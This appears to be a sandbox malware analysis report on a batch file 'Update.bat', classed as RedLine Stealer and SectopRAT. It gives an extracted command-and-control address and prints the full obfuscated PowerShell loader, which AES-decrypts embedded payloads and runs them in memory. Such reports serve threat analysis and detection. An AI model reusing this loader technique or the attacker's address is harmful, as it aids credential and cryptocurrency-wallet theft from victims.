Analysis
- max time kernel
149s - max time network
155s - platform
windows11-21h2_x64 - resource
win11-20240419-en - resource tags
- submitted
19/05/2024, 15:59
General
- Target Update.bat
- Size 90KB
- Sample240519-te6c3aed4w
- SHA256 59eeafa1a036a240d2e5ef549ddd90c5cb484f27dfa94a5f1af91a7e13f380b1
Malware Config
Extracted
-
redline
-
Hone_-_Installer
-
above-collect.gl.at.ply.gg:58881
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 1 IoCs
- Blocklisted process makes network request 2 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Update.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DxAzrcaVfg2CFRZHSsUJyG7xHfjugn8NiLFpB5y2UPs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fwfLXU0xUC9GptqkwYqYDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WBdwt=New-Object System.IO.MemoryStream(,$param_var); $LWQNs=New-Object System.IO.MemoryStream; $OazpV=New-Object System.IO.Compression.GZipStream($WBdwt, [IO.Compression.CompressionMode]::Decompress); $OazpV.CopyTo($LWQNs); $OazpV.Dispose(); $WBdwt.Dispose(); $LWQNs.Dispose(); $LWQNs.ToArray();}function execute_function($param_var,$param2_var){ $jOrir=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lhPuX=$jOrir.EntryPoint; $lhPuX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Update.bat';$zaltw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Update.bat').Split([Environment]::NewLine);foreach ($uVtWj in $zaltw) { if ($uVtWj.StartsWith(':: ')) { $Uifnz=$uVtWj.Substring(3); break; }}$payloads_var=[string[]]$Uifnz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_bvpexxry.wdr.ps1
memory/1016-23-0x0000000007E10000-0x0000000008428000-memory.dmp
memory/1016-25-0x0000000007270000-0x00000000072AC000-memory.dmp
memory/1016-3-0x0000000005350000-0x000000000597A000-memory.dmp
memory/1016-4-0x00000000051B0000-0x00000000051D2000-memory.dmp
memory/1016-5-0x00000000059F0000-0x0000000005A56000-memory.dmp
memory/1016-6-0x0000000005980000-0x00000000059E6000-memory.dmp
memory/1016-1-0x0000000002B90000-0x0000000002BC6000-memory.dmp
memory/1016-15-0x0000000005A60000-0x0000000005DB7000-memory.dmp
memory/1016-24-0x0000000007210000-0x0000000007222000-memory.dmp
memory/1016-17-0x0000000005F80000-0x0000000005FCC000-memory.dmp
memory/1016-18-0x0000000007790000-0x0000000007E0A000-memory.dmp
memory/1016-19-0x0000000006520000-0x000000000653A000-memory.dmp
memory/1016-20-0x0000000007110000-0x0000000007118000-memory.dmp
memory/1016-21-0x0000000007120000-0x0000000007132000-memory.dmp
memory/1016-2-0x0000000074B60000-0x0000000075311000-memory.dmp
memory/1016-22-0x0000000007130000-0x000000000714E000-memory.dmp
memory/1016-16-0x0000000005F40000-0x0000000005F5E000-memory.dmp
memory/1016-0-0x0000000074B6E000-0x0000000074B6F000-memory.dmp
memory/1016-26-0x00000000073F0000-0x00000000074FA000-memory.dmp
memory/1016-27-0x0000000008600000-0x00000000087C2000-memory.dmp
memory/1016-28-0x0000000008D00000-0x000000000922C000-memory.dmp
memory/1016-35-0x0000000074B60000-0x0000000075311000-memory.dmp
memory/1016-45-0x00000000097E0000-0x0000000009D86000-memory.dmp
memory/1016-46-0x00000000087D0000-0x0000000008862000-memory.dmp
memory/1016-47-0x0000000008870000-0x00000000088E6000-memory.dmp
memory/1016-48-0x0000000008950000-0x000000000896E000-memory.dmp
memory/1016-49-0x0000000074B60000-0x0000000075311000-memory.dmp
memory/1016-50-0x0000000074B6E000-0x0000000074B6F000-memory.dmp
memory/1016-51-0x0000000074B60000-0x0000000075311000-memory.dmp
memory/1016-53-0x0000000074B60000-0x0000000075311000-memory.dmp
memory/1016-54-0x0000000074B60000-0x0000000075311000-memory.dmp
memory/1016-57-0x0000000074B60000-0x0000000075311000-memory.dmp